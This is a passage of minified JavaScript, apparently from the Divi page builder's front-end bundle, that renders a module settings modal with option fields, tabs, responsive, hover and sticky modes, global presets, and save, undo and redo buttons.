Xe=X()(u,"default","");if(X()(u,"default_from",!1)){var Ye=u.default_from;Xe=X()(ae,Ye,Xe)}D=X()(ae,u.name,Xe),P=X()(ae,ue,ge||ye?D:Xe),x()(P)&&(P=""+P),x()(D)&&(D=""+D),P||(P=""),D||(D=""),$=Re.default.hasValue(P)?P:X()(u,"default","")}if("font"===v&&($=A()($)||O()(ie()($.split("|")))?"":$,Y=A()(Y)?"":Y),"select_with_option_groups"===v&&!N()(["provider","spam"],X()(u,"toggle_slug",""))&&Re.default.hasValue(P)&&-1!==P.indexOf("|")&&(P=G()(P)?P.split("|")[1]:P),"select_with_option_groups"===v&&Re.default.hasValue(D)&&-1!==D.indexOf("|")&&(D=G()(D)?D.split("|")[1]:D),A()(u.depends_default)&&A()(u.depends_show_if)&&A()(u.depends_show_if_not)||(M=d()("et-fb-option--depends-on",M)),"select_with_option_groups"===v&&u.groups&&(M=d()("et-fb-option--select-with-option-groups",M)),"text"===v&&(Z=d()("et-fb-settings-option-input--block",Z)),"color-alpha"===v&&"et_pb_section"===X()(c,"props.type")&&"background_color"===X()(u,"name")&&(u.default=qe.a.getPageSetting("et_pb_section_background_color")||qe.a.getPageSettingField("et_pb_section_background_color").default),"admin_label"===s&&(u.default=z,u.defaultIfEmpty=!0),A()(u.readonly_if)&&A()(u.readonly_if_not)||!Object(Ie.b)(u,n.setting_resolver)||(u.readonly=!0,u.useAddNewButton=!1),A()(v)||!ot.a.getControl(v))return!1;if("warning"===v&&u.display_if!==u.value)return!1;if(!A()(u.depends_on)&&A()(u.show_if_not)&&A()(u.show_if)&&!n._isVisible(u,_))return g.push(u.name),!1;if(!(A()(u.show_if)&&A()(u.show_if_not)||Object(Ie.a)(u,n.setting_resolver)))return g.push(u.name),!1;if(!A()(u.depends_on)&&T()(u.depends_on,j()(u.depends_on,g)))return!1;if("position"===v){var Je=X()(n.state.cssFields,"positioning.default","none"),Qe=Object(kt.h)(ae,Je,n.props.activeTabMode);if("none"===Qe||"position_origin_"+Qe.substr(0,1)!==u.name)return!1}if(N()(["vertical_offset","horizontal_offset"],u.name)){var Ze=X()(n.state.cssFields,"positioning.default","none"),nt=Object(kt.h)(ae,Ze,n.props.activeTabMode);if("none"===nt)return!1;var rt=Object(kt.g)(ae,nt,n.props.activeTabMode);if("center"===rt[1]&&"center"===rt[0]||"vertical_offset"===u.name&&"center"===rt[0]||"horizontal_offset"===u.name&&"center"===rt[1])return!1}if("composite"===v)return at.a.createControl(u,{uniqueKey:K,module:l,moduleAttrs:ae,_onChange:l._onChange.bind(l),onClickHelp:l._onClickHelp,activeHover:Be.a.isEnabled(pe,ae),activeSticky:He.a.isEnabled(pe,ae),onClickHover:l._onClickHover,onClickReset:l._onClickReset,onClickResponsive:l._onClickResponsive,onClickSticky:l._onClickSticky,hasHoverOptions:he,hasStickyOptions:be,isDescriptionVisible:l._isDescriptionVisible,isHoveredGroup:l._isHoveredGroup,onMouseEnterGroup:l._onMouseEnterGroup,onMouseLeaveGroup:l._onMouseLeaveGroup,isSelectiveSyncAvailable:l.isSelectiveSyncAvailable.bind(l),isGlobalOptionSynced:l.isGlobalOptionSynced.bind(l),_unsyncGlobalSetting:l._unsyncGlobalSetting.bind(l),isResetActive:l._isResetActive,setting_resolver:l.setting_resolver,animate:l.props.options.animate,rightClickOpened:l.props.rightClickOpened,toggleGroupId:a,isSettingsModal:!0,isResponsiveEnabled:Ve.a.isResponsiveEnabled(ae,u.name),_isOptionMatchesFilter:l._isOptionMatchesFilter,toggleId:o,onToggleRightMenu:l._onToggleRightMenu,activeTabMode:p,isGlobalPresetsMode:l.props.isGlobalPresetsMode,isItemSelected:h});var st=!A()(u.description)&&""!==u.description,lt=N()(["content","raw_content"],s)||!A()(u.is_fb_content)&&u.is_fb_content,ht=lt?"et_pb_content_field":u.name,mt=A()(u.priority)?10:u.priority,gt=!!A()(u.vb_support)||u.vb_support?"":i.a.createElement("span",{className:"et-fb-no-vb-support-warning"},ETBuilderBackend.i18n.modals.moduleSettings.noSupport),vt=Y===$,bt=u,yt=bt.sub_toggle,_t=bt.toggle_slug;if(le||!yt||!f||yt===X()(ee,_t,ce)){var wt=st?u.description:"",Ct={},Ot=u.label,St="",Tt=A()(u.additional_button_type)?"":i.a.createElement(tt.a,{type:u.additional_button_type,name:u.name,attrs:u.additional_button_attrs,module:c,_onChange:n._onChange});if("css"===e){var Mt=!A()(u.isColumnField)&&u.isColumnField,xt=Mt?u.columnType:c.props.type,Pt=Mt?u.columnIndex:c.props.shortcode_index,Lt="."+Object(ft.b)(xt,Pt,c.props.theme_builder_suffix),Nt=!A()(u.selector)&&!st&&u.selector;if(!1!==Nt){if(-1!==Nt.indexOf("%%order_class%%"))Nt=Nt.replace(/%%order_class%%/g,Lt);else Nt=Lt+(!A()(u.no_space_before_selector)&&u.no_space_before_selector?"":" ")+Nt;st=!0,wt=ETBuilderBackend.i18n.controls.cssSelector+" "+Nt}"custom_css"===u.toggle_slug&&n._isFilterActive()&&(Ot=u.label+" "+ETBuilderBackend.i18n.controls.cssText)}var Dt=pt.a.getNameByMode(u.name,n.getModuleAttrs());if(lt&&Dt!==u.name&&(V=P),pt.a.isHoverEnabled(u.name,n.getModuleAttrs())&&pt.a.isHoverMode()&&(q.name=Dt,u.default=u["default"+Be.a.hoverSuffix()]?u["default"+Be.a.hoverSuffix()]:pt.a.getDesktopValue(u.name,n.getModuleAttrs(),u.default),"yes_no_button"===v&&(u.defaultValue=u.default)),pt.a.isStickyEnabled(u.name,n.getModuleAttrs())&&pt.a.isStickyMode()){q.name=Dt;var At=pt.a.getDesktopValue(u.name,n.getModuleAttrs(),u.default);!Re.default.hasValue(At)&&Re.default.hasValue(u.default)&&(At=u.default),u.default=u["default"+He.a.stickySuffix()]?u["default"+He.a.stickySuffix()]:At,"yes_no_button"===v&&(u.defaultValue=u.default)}if("general"===e&&"background"!==u.toggle_slug&&!pt.a.isDesktopMode()){var Ft=pt.a.getBaseName(u.name),Bt=pt.a.getNameByMode(u.name,ae);if(Ft&&Bt&&Ft!==Bt&&!k()(ae,Bt)){var Wt=null;Wt="content"===Ft?pt.a.getContentByMode(J()({},ae,{content:X()(n,"props.module.props.content")})):"raw_content"===Ft?pt.a.getRawContentByMode(J()({},ae,{content:X()(n,"props.module.props.content")})):pt.a.getValueByMode(Ft,ae),I()(Wt)||Wt===P||(P=Wt,V=Wt,u.default=Wt)}C()(["value","default","default_on_front","default_tablet","default_phone","defaultValue"],function(e){var t="value"===e?P:X()(u,e);if(t&&Object(dt.g)(t)){var n=Object(dt.d)(t);if(!O()(n)&&k()(n,"content")&&k()(n,"settings")){var o=qe.a.getPostContentFieldValue("dynamic",n.content,n.settings,Ft);!o&&pt.a.isPhoneMode()&&(o=qe.a.getPostContentFieldValue("dynamic",n.content,n.settings,pt.a.getTabletName(Ft))),I()(o)||("value"===e&&(P=o,u.default=o,q.default=o),k()(u,e)&&(u[e]=o),k()(q,e)&&(q[e]=o))}}})}"upload"===v&&!1===X()(u,"data_type",!1)&&(q.showDeleteButton=!0,q.showResetButton=!0);var Vt=u.default_on_front||u.defaultValue||u.default,Ht=Be.a.isEnabled(pe,ae),Gt=He.a.isEnabled(pe,ae),Ut=A()(u.linked_responsive)?[]:u.linked_responsive,zt=X()(u,"context_menu",!0);Ct.activeHover=Ht,Ct.isHoverTab=me,Ct.activeSticky=Gt,Ct.isStickyTab=ve;var qt=A()(u.label)||""===u.label?"":i.a.createElement(et.c,{name:ue,backgroundFields:u.backgroundFields||u.background_fields,defaultValue:Vt,activeHelp:l._isDescriptionVisible(pe),activeHover:Ht,activeSticky:Gt,hoveredGroup:l._isHoveredGroup(pe),key:e+"-form-label-"+u.name,onClickHelp:!!st&&l._onClickHelp,onClickHover:!!fe&&l._onClickHover,onClickSticky:l._onClickSticky,onClickResponsive:l._onClickResponsive,onClickReset:l._onClickReset,isResetActive:l._isResetActive(u),hasResponsiveOptions:u.mobile_options,hasHoverOptions:he,hasStickyOptions:be,onToggleRightMenu:!!zt&&l._onToggleRightMenu,isResponsiveEnabled:Ve.a.isResponsiveEnabled(ae,u.name),linkedResponsive:Ut},Ot),Kt=st?i.a.createElement(et.a,{active:l._isDescriptionVisible(u.name),key:e+"-form-description-"+u.name},wt):"",$t=u.mobile_options&&Ve.a.isResponsiveEnabled(ae,u.name)||fe&&Be.a.isEnabled(pe,ae)||He.a.isEnabled(pe,ae)?i.a.createElement(it.a,null,i.a.createElement(et.d,{module:n._getModule(),moduleAttrs:ae,fieldName:pe,activeTabMode:p,isGlobalPresetsMode:n.props.isGlobalPresetsMode,isResponsiveEnabled:Ve.a.isResponsiveEnabled(ae,pe),isHoverEnabled:Be.a.isEnabled(pe,ae),isStickyEnabled:be&&He.a.isEnabled(pe,ae),isItemSelected:h})):"";if(F||u.isColumnBackground||!n._isValidProductTourToggle(o,L)||(St="et-fb-product-tour-element","text"===v?St+=" et-fb-product-tour-element-text":"background"===v&&(St+=" et-fb-product-tour-element-background"),n.productTourOptionToggle=o,F=!0),"codemirror"===v&&(Ct.search=n.state.filterOptions),"font"===v&&(Ct.formLabel=qt,Ct.formDescription=Kt),X()(u,"attributes.data-old-option-ref",!1)){var Xt=u.attributes["data-old-option-ref"];H.oldOptionValue=X()(ae,Xt,!1)}var Yt={slug:u.type,type:"field"},Jt=J()({processedKey:K,value:P,className:Z,module:l,moduleAttrs:ae,content:V,resetValue:!1,previewMode:B,_onChange:n._onChange,_resetOption:n._resetOption,visible:!0,additionalAttrs:H,filterSelected:n.state.filterSelected,animate:n.props.options.animate,rightClickOpened:n.props.rightClickOpened,isSettingsModal:!0,isResponsive:Ve.a.isResponsiveEnabled(ae,u.name),fieldDefinition:t,matching:Yt,activeTabMode:p,isItemSelected:h,onToggleRightMenu:n._onToggleRightMenu},Ct,u,q),Qt=X()(u,"data_type",!1),Zt=v+(Qt?"_"+Qt:""),en=Object(r.createElement)(ot.a.getControl(v),Jt),tn={fieldName:u.name,fieldLabel:Ot,fieldType:Zt,toggleId:o,toggleGroupId:a,fieldContextMenu:zt,tabSlug:X()(u,"tab_slug",a)};return i.a.createElement(et.b,{name:u.name,key:e+"-form-group-"+K,onMouseEnterGroup:function(){n._onMouseEnterGroup(tn)},onMouseLeaveGroup:function(){n._onMouseLeaveGroup(tn)},hovered:n.isOptionHovered(u.name),isSelectiveSyncAvailable:n.isSelectiveSyncAvailable(u),isGlobalOptionSynced:n.isGlobalOptionSynced(ht),_unsyncGlobalSetting:n._unsyncGlobalSetting,optionSubToggle:u.sub_toggle,globalName:ht,className:St,priority:mt,isDefaultValue:vt},!N()(["font"],v)&&qt,$t,!N()(["font"],v)&&Kt,i.a.createElement("div",{className:M,key:"et-fb-option-"+e+"_"+K},i.a.createElement("div",{className:"et-fb-option-container",key:"et-fb-option-container-"+K},i.a.createElement(it.a,{componentName:u.name},u.dynamic_content?i.a.createElement(ct.a,{type:u.dynamic_content,fieldName:Dt,fieldType:v,isContentField:!w&&Dt===u.name&<,value:lt&&Dt===u.name?V:P,dynamicAttributes:Object(dt.e)(ae),onChange:function(){w&&n._onChange(u.name,"",v,!0),n._onChange.apply(n,arguments)},onReset:n._resetOption,modalWidth:Q},en):en),Tt,gt)),U&&A()(W)&&oe&&"column_structure"===u.name&&R)}se()(de,yt,X()(de,yt)||!vt)}),U&&o===W&&"bottom"===H&&R)}}),i.a.createElement("div",{className:"et-fb-modal__tab-footer"},this._isFilterActive()||this.renderSupportNotice(X()(this,"props.module.props.vb_support","off")),this._maybeRenderHelpButton(b),this._isFilterActive()||i.a.createElement(rt.a,{moduleTitle:this._getModuleTitle(),moduleType:c.props.type}))))}},{key:"_getTabs",value:function(){var e=this,t=[];qe.a.isAllowedAction("general_settings")&&this.hasOptionTab("general",!0)&&t.push({slug:"general",title:ETBuilderBackend.i18n.controls.tabs.general,custom:!1}),qe.a.isAllowedAction("advanced_settings")&&!O()(this.state.advancedFields)&&t.push({slug:"advanced",title:ETBuilderBackend.i18n.controls.tabs.design,custom:!1}),qe.a.isAllowedAction("custom_css_settings")&&!O()(this.state.cssFields)&&t.push({slug:"css",title:ETBuilderBackend.i18n.controls.tabs.css,custom:!1});var n=this.getCustomTabsList();return O()(n)||C()(n,function(n,o){qe.a.isAllowedAction(o)&&e.hasOptionTab(o)&&t.push({slug:o,title:n.name||o,custom:!0})}),t}},{key:"getTabsCount",value:function(){return this._getTabs().length}},{key:"hasOptionTab",value:function(e,t){var n=t?this._getOptionsFields(e):this._getFilteredFields(e),o=!O()(fe()(n,["toggles_"+e+"_toggles","_builder_version"])),r=!1;return"general"===e&&(r=this._hasModuleItem()),o||r}},{key:"renderSupportNotice",value:function(e){if(Re.default.isOn(e))return"";var t=N()(["off","partial"],e)?e:"off";return i.a.createElement("div",{className:"et-fb-modal__support-notice",dangerouslySetInnerHTML:{__html:me()(X()(ETBuilderBackend,["i18n","vbSupport","modalSupportNotices",t],""))}})}},{key:"_getModuleTitle",value:function(){var e=this.props.module;return Object(bt.a)(e)}},{key:"_getFilterItems",value:function(){var e=this._getModule();return He.a.hasStickyOptions(X()(e,"props",{}))?ETBuilderBackend.searchFilterItems:y()(ETBuilderBackend.searchFilterItems,function(e){return fe()(e,"styles_sticky")})}},{key:"maybeShowFilterNotice",value:function(){var t=e(Object(l.findDOMNode)(this)).find(".et-fb-tabs__panel--filter-active"),n=!O()(this.state.filterOptions)||!O()(this.state.filterSelected);t.length&&t.each(function(t,o){Re.default.hasValue(e(o).find(".et-fb-form__group:not(:empty)").text())&&(n=!1)}),n!==this.state.filterNotice&&this.setState({filterNotice:n})}},{key:"_renderGlobalPresetsCloseBadge",value:function(){if(!this.props.isGlobalPresetsMode||this.state.isGlobalPresetsSubmitDialogVisible)return!1;var e=d()({"et-fb-modal__badge__button":!0,"et-fb-modal__badge__button--back-to-settings":!0});return i.a.createElement(Qe.a,{buttonName:Ge.a.BUTTON_SAVE_MODULE_PRESET_SETTINGS,tooltip:ETBuilderBackend.i18n.tooltip.modal.globalPresets.exit,disableClick:this.props.nonInteractiveMode,className:e,editingModule:this._getModule()},i.a.createElement(Ye.a,{icon:"global-presets-return",color:mt.a.success,size:"14"}))}},{key:"_getModalMinWidth",value:function(){return this.isGlobalModuleOpened()?430:400}},{key:"_renderModalOverlay",value:function(){if(this.props.nonInteractiveMode)return i.a.createElement("div",{className:"et-fb-modal__overlay"});var e=qe.a.getGlobalPresetsState().submitDialog,t=e.confirmationAction,n=e.actionPayload,o=e.type;if(!this.state.isGlobalPresetsSubmitDialogVisible||o!==vt.a.CONFIRMATION_DIALOG_TYPE_DEFAULT)return!1;var r=this._getModule();return i.a.createElement("div",{className:"et-fb-modal__overlay"},i.a.createElement("div",{className:"et-fb-modal__overlay__header"}),i.a.createElement("div",{className:"et-fb-modal__overlay__content"},i.a.createElement(gt.a,{animate:this.props.options.animate,onConfirm:function(){return ze.b.confirmGlobalPresetDialog(t,r,n)},dangerouslySetInnerHTML:{__html:e.confirmationText}})))}},{key:"_renderButtons",value:function(){var e=this.props.module,t=Object(ht.e)(),n=t.snap,o=t.snapLocation,r=qe.a.getGlobalPresetsState().history.isLoading,a=r?"loading":"check",s="wireframe"===qe.a.getPreviewMode(),l="saveModule"===this.props.currentTourElement?e:{},u=X()(this.props,"module.props.loading",!1)&&!s,c={"et-fb-product-tour-element":"saveModule"===this.props.currentTourElement},d={"et-fb-product-tour-element":"saveModule"===this.props.currentTourElement||"saveRow"===this.props.currentTourElement};return this.props.isGlobalPresetsMode?[i.a.createElement(Qe.a,{block:!0,danger:!0,buttonName:Ge.a.BUTTON_GLOBAL_PRESETS_CLOSE,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel,disableClick:this.props.nonInteractiveMode,additionalAttrs:{skipReset:n&&o}},i.a.createElement(Ye.a,{icon:"exit",color:"#FFFFFF"})),i.a.createElement(Qe.a,{block:!0,primary:!0,alt:!0,buttonName:Ge.a.BUTTON_GLOBAL_PRESETS_SUBHISTORY_UNDO,tooltip:ETBuilderBackend.i18n.tooltip.modal.undo,disableClick:this.props.nonInteractiveMode},i.a.createElement(Ye.a,{icon:"undo",color:"#FFFFFF"})),i.a.createElement(Qe.a,{block:!0,info:!0,buttonName:Ge.a.BUTTON_GLOBAL_PRESETS_SUBHISTORY_REDO,tooltip:ETBuilderBackend.i18n.tooltip.modal.redo,disableClick:this.props.nonInteractiveMode},i.a.createElement(Ye.a,{icon:"redo",color:"#FFFFFF"})),i.a.createElement(Qe.a,{block:!0,success:!0,buttonName:Ge.a.BUTTON_SAVE_MODULE_PRESET_SETTINGS,tooltip:ETBuilderBackend.i18n.tooltip.modal.save,disabled:r,disableClick:this.props.nonInteractiveMode||r,additionalAttrs:{skipReset:n&&o},editingModule:e},i.a.createElement(Ye.a,{icon:a,color:"#FFFFFF"}))]:[i.a.createElement(Qe.a,{block:!0,danger:!0,buttonName:Ge.a.MODAL_SETTINGS_BUTTON_CLOSE,tooltip:ETBuilderBackend.i18n.tooltip.modal.cancel,disableClick:u,className:c,editingModule:l,additionalAttrs:{skipReset:n&&o}},i.a.createElement(Ye.a,{icon:"exit",color:"#FFFFFF"})),i.a.createElement(Qe.a,{block:!0,primary:!0,alt:!0,buttonName:Ge.a.MODAL_SETTINGS_BUTTON_UNDO,tooltip:ETBuilderBackend.i18n.tooltip.modal.undo,disableClick:u},i.a.createElement(Ye.a,{icon:"undo",color:"#FFFFFF"})),i.a.createElement(Qe.a,{block:!0,info:!0,buttonName:Ge.a.MODAL_SETTINGS_BUTTON_REDO,tooltip:ETBuilderBackend.i18n.tooltip.modal.redo,disableClick:u},i.a.createElement(Ye.a,{icon:"redo",color:"#FFFFFF"})),i.a.createElement(Qe.a,{block:!0,success:!0,buttonName:this._isModuleItemSettings()?Ge.a.MODULE_ITEM_BACK_TO_PARENT:Ge.a.MODAL_SETTINGS_BUTTON_SAVE,tooltip:ETBuilderBackend.i18n.tooltip.modal.save,disableClick:u,className:d,editingModule:l,additionalAttrs:{skipReset:n&&o}},i.a.createElement(Ye.a,{icon:"check",color:"#FFFFFF"}))]}},{key:"_renderHeaderDropdown",value:function(){return this._isMultiSelectMode()?null:i.a.createElement(wt.a,{module:this.props.module,onMouseEnter:this._onMouseEnterTitle,onMouseLeave:this._onMouseLeaveTitle})}},{key:"_renderTabNavs",value:function(){var e=this,t=this._getTabs();return!O()(t)&&t.map(function(t){var n=e.getGlobalTabClass();return i.a.createElement(Ze.a,{key:t.slug,className:n,panelId:t.slug,setHoveredElement:e._setHoveredElementWrapper},t.title)})}},{key:"_renderTabPanels",value:function(){var e=this,t=this._getTabs();if(O()(t))return!1;var n=f()(t,function(e){return"general"===e.slug}),o=this.props,r=o.currentTourElement,i=o.module,a=qe.a.getProductTourModuleName(),s="configureModule"===r&&a===i.props.type||"editRow"===r&&"et_pb_row"===i.props.type,l=s?"general":"";s&&!n&&(l=hasDesignTab&&advancedTabOutput?"advanced":"css");this._isModalExpanded();var u=this._isFilterActive();return t.map(function(t,n){var o=u?0===n:e.state.tabSelectedIndex===n;return t.custom?e._renderTabOptionsPanel(t.slug,void 0,o):e._renderTabOptionsPanel(t.slug,l,o)})}},{key:"render",value:function(){var e=this.props,t=e.isVisible,n=e.module;if(!t)return!1;if(A()(n.props))return!1;var o=this.state.isModalRest,r=this._isFilterActive(),a=!o&&!r,s=this._getModuleTitle(),l=Object(ht.e)().snapLocation,u=d()({"et-fb-modal__module-settings":!0,"et-fb-modal__filter-active":r,"et-fb-modal__selective-sync":this.isSelectiveSyncAvailable(),"et-fb-modal__global-presets-mode":this.props.isGlobalPresetsMode,"et-fb-modal--with-header-dropdown":!this._isMultiSelectMode()},this.getGlobalModalClass("et-fb-modal")),c=this.props.ignorePosition?{x:0,y:0}:Object(ht.a)(),p=Object(ht.c)(),f=Object(ht.b)().width,h=this.props.isGlobalPresetsMode?"settings-modal-back":"settings-modal-front",m=this.props.isGlobalPresetsMode?ETBuilderBackend.i18n.modals.globalPresets.title.replace("%s",s):ETBuilderBackend.i18n.modals.moduleSettings.title.replace("%s",s),g=this.props.isGlobalPresetsMode&&this._renderGlobalPresetsCloseBadge(),v=this._renderModalOverlay(),b=qe.a.isViewGlobalPresetsAllowed()&&!qe.a.isProductTourActive();return i.a.createElement(Xe.a,Et({key:h,className:u,disableEscShortcut:r,footerButtons:this._renderButtons(),fullscreen:p,globalUpdate:!0,isModuleItemSettings:this._isModuleItemSettings(),label:m,headerContent:this._renderHeaderDropdown(),passthroughClicksFor:["et-fb-modal__module-settings__header-dropdown__overflow-container","et-core-popup__wrapper"],badge:b&&g,modalMinimalWidth:this._getModalMinWidth(),measurement:Object(ht.b)(),animate:this.props.options.animate,disablePopupAnimation:this.props.disablePopupAnimation,onModalChange:this.props.onModalChange,ignorePosition:this.props.ignorePosition,snapLocation:l,tabsCount:this.state.tabsCount,onMouseEnterTitle:this._onMouseEnterTitle,onMouseLeaveTitle:this._onMouseLeaveTitle,overlay:v,onBackToParent:this._onBackToParent,_setHoveredElement:this._onMouseEnterTitle},this.props,{position:c,onRest:this._onModalRest}),i.a.createElement(Ze.d,{selectedIndex:this.state.tabSelectedIndex,module:this.props.module,onSelect:this._onTabSelect,renderOnSelectedOnce:a},i.a.createElement(Ze.b,{className:this.getGlobalModalClass("et-fb-tabs__list"),modalWidth:f,snapLocation:l,fullscreen:p,showScroll:!r},this._renderTabNavs()),this._renderTabPanels()))}}]),n}(),Wt=function(){var e=this;this._onComponentFieldDefinitionsChange=function(t,n){e.cache.reset(),t===X()(e,"props.module.type")?e.setState({generalFields:n}):e.forceUpdate()},this._updateComponentDefinitions=function(){e.cache.reset();var t=e.props.isGlobalPresetsMode,n=e.getComponentAdvancedFields(e._getModule(),t),o=e.getComponentFields(e._getModule(),t),r=e.getComponentCSSFields(e._getModule(),t);e.setState({advancedFields:n,generalFields:o,cssFields:r})},this._onModulePresetChange=function(){e._updateComponentDefinitions()},this._isDescriptionVisible=function(t){return e.state.activeDescription===t},this.optionsWithContext=Te()(function(){return function e(t){return v()(t,function(t,n,o){switch(n.type){case"composite":return v()(X()(n,"composite_structure",{}),function(t,n){return Et({},t,e(X()(n,"controls",{})))},t);default:return n.context?Et({},t,Tt({},o,n.context)):t}},{})}(Et({},X()(e.state,"advancedFields",{}),X()(e.state,"cssFields",{}),X()(e.state,"generalFields",{})))}),this.optionContext=function(t){return X()(e.optionsWithContext(),t)},this._isHoveredGroup=function(t){var n=xe()(e.state.hoveredGroup).filter(Re.default.hasValue).map(Be.a.getFieldBaseName),o=Be.a.getFieldBaseName(t);return!!N()(n,o)||!!n.map(e.optionContext).find(function(e){return Be.a.getFieldBaseName(e)===o})},this._onChangeCacheReset=function(){return e.cache.reset()},this._onMouseEnterGroup=function(t){e.hoverStarted=(new Date).getTime(),Re.default.appWindow().clearTimeout(Re.default.appWindow().ETBuilderFormGroupMouseEnterTimeout),Re.default.appWindow().clearTimeout(e.mouseLeaveTimeout),Re.default.appWindow().ETBuilderFormGroupMouseEnterTimeout=setTimeout(function(){e.setState({hoveredGroup:t.fieldName})},200);var n={optionId:t.fieldName,optionLabel:t.fieldLabel,optionFamily:t.fieldType,toggleId:t.toggleId,toggleGroupId:t.toggleGroupId,mode:e.props.activeTabMode,optionContextMenu:t.fieldContextMenu,tabSlug:X()(t,"tabSlug",t.toggleGroupId)},o=st.a.getHelper("option").preparePayload({props:n},e.props.module);e._setHoveredElement("option",t.fieldName,o)},this._onMouseLeaveGroup=function(t){if(Re.default.appWindow().clearTimeout(Re.default.appWindow().ETBuilderFormGroupMouseEnterTimeout),Re.default.appWindow().clearTimeout(e.mouseLeaveTimeout),e.state.hoveredGroup===t.fieldName){var n=(new Date).getTime()-e.hoverStarted>600?300:10;e.mouseLeaveTimeout=setTimeout(function(){return e.setState({hoveredGroup:null})},n)}e._setHoveredElement(!1)},this._onToggleRightMenu=function(t){arguments.length>1&&void 0!==arguments[1]&&arguments[1];e.props.onToggleRightMenu(t)},this._onMouseEnterTitle=function(){var t=e.props.module;if(X()(t,"props.is_module_child")){var n=st.a.getHelper("child_item").preparePayload(t),o=X()(t,"props.type","");e._setHoveredElement("child_item",o,n)}else ze.b.setHoveredModuleElement(t,{fromModalTitle:!0})},this._onMouseLeaveTitle=function(){ze.b.setHoveredElement(!1)},this._onClickHelp=function(t){t=Be.a.getFieldBaseName(t);var n=e.state.activeDescription===t?null:t;e.setState({activeDescription:n})},this._onSwitchTab=function(t,n,o){var r=e.state.toggleTabs,i=[t,n];X()(r,i)!==o&&e.setState({toggleTabs:se()(Et({},r),i,o)})},this._setHoveredElement=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};ze.b.setHoveredElement(e,t,n)},this.isOptionHovered=function(e){var t=qe.a.getMouseHoveredElement().elementId===e;return!t||"admin_label"!==e&&"background"!==e?t:"option"===qe.a.getMouseHoveredElement().type},this._onTabSelect=function(t){e.setState({tabSelectedIndex:t})},this._onGlobalPresetsStateChange=function(){var t=qe.a.getGlobalPresetsState().submitDialog;e.setState({isGlobalPresetsSubmitDialogVisible:t.isVisible})},this._onBackToParent=function(){var t=e.props.isGlobalPresetsMode?Ge.a.BUTTON_GLOBAL_PRESETS_BACK_TO_PARENT:Ge.a.MODULE_ITEM_BACK_TO_PARENT;ze.b.buttonClick({props:{buttonName:t}},e._getModule())},this._setHoveredElementWrapper=function(t,n){var o=st.a.getHelper("modal_tab");if(t){var r=f()(e._getTabs(),function(e){return e.slug===n});if(!r)return;var i=e._getNonEmptyToggles(e.props.module.props.type,n+".toggles",n),a=e._getOptionsFields(n),s=o.preparePayload(n,r.title,i,a,e.props.module);e._setHoveredElement(t,n,s)}else e._setHoveredElement(!1)}};Bt.propTypes=Ft,Bt.defaultProps={additionalClasses:{},ignorePosition:!1,isGlobalPresetsMode:!1,nonInteractiveMode:!1,disablePopupAnimation:!1},t.default=Bt}.call(this,n(24),n(1300)(e))},function(e,t,n){"use strict";n.r(t);var o=n(1),r=n.n(o),i=n(10),a=n.n(i),s=n(209),l=n.n(s),u=n(15),c=n.n(u),d=n(2),p=n.n(d),f=n(115),h=n.n(f),m=n(7),g=n.n(m),v=n(140),b=n.n(v),y=n(31),_=n.n(y),k=n(227),w=n.n(k),C=(n(1330),n(0)),E=n(12),O=n(9),S=n(77),T=n(51),M=n(138),x=n(727),P=n(674),j=n(40),L=n(918),N=n(1281),D=n(1280),A=n(3),F=n(19),I=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},R=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var B=C.default.isLimitedMode(),W=C.default.topWindow(),V=ETBuilderBackend.i18n.app.modal,H=520,G=C.default.condition("is_bfb"),U=C.default.condition("is_rtl")&&!C.default.condition("is_no_rtl"),z=G?30:10;function q(e,t){return t[e]?"#5C6978":"#BEC9D6"}function K(e,t){if(t)switch(e){case"hover":return 0;case"click":return 1;case"grid":return 2;default:return 0}else switch(parseInt(e)){case 0:return"hover";case 1:return"click";case 2:return"grid";default:return"hover"}}function $(){return C.default.condition("is_bfb")?"wireframe":"desktop"}function X(e,t){if(t)switch(parseInt(e)){case 1:return 0;case 10:return 1;case 20:return 2;case 30:return 3;case 40:return 4;default:return 0}else switch(parseInt(e)){case 0:return 1;case 1:return 10;case 2:return 20;case 3:return 30;case 4:return 40;default:return 1}}function Y(e,t){if(t)switch(e){case"default":return 0;case"minimum":return 1;case"fullscreen":return 2;case"left":return 3;case"right":return 4;case"bottom":return 5;case"top":return 6;default:return 0}else switch(parseInt(e)){case 0:return"default";case 1:return"minimum";case 2:return"fullscreen";case 3:return"left";case 4:return"right";case 5:return"bottom";case 6:return"top";default:return"default"}}function J(e,t){var n=F.d.getPageCreationOptions();if(t)return _()(n,e+".setting.value_index")?parseInt(p()(n,e+".setting.value_index")):0;var o=w()(n,function(t){return _()(t,"setting.value_index")&&parseInt(p()(t,"setting.value_index"))===parseInt(e)});return o||"default"}var Q=function(e){function t(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));e.displayName="ETBuilderAppModal";return e.state={height:635,width:W.innerWidth<H?W.innerWidth-S.a.pageSettingsBar-30:400},e._getPosition=e._getPosition.bind(e),e._handleAnimationChange=e._handleAnimationChange.bind(e),e._handleAllModalSettings=e._handleAllModalSettings.bind(e),e._handleDummyContent=e._handleDummyContent.bind(e),e._handleDisabledModules=e._handleDisabledModules.bind(e),e._handleShortcuts=e._handleShortcuts.bind(e),e._handleResize=e._handleResize.bind(e),e._handleScroll=e._handleScroll.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof 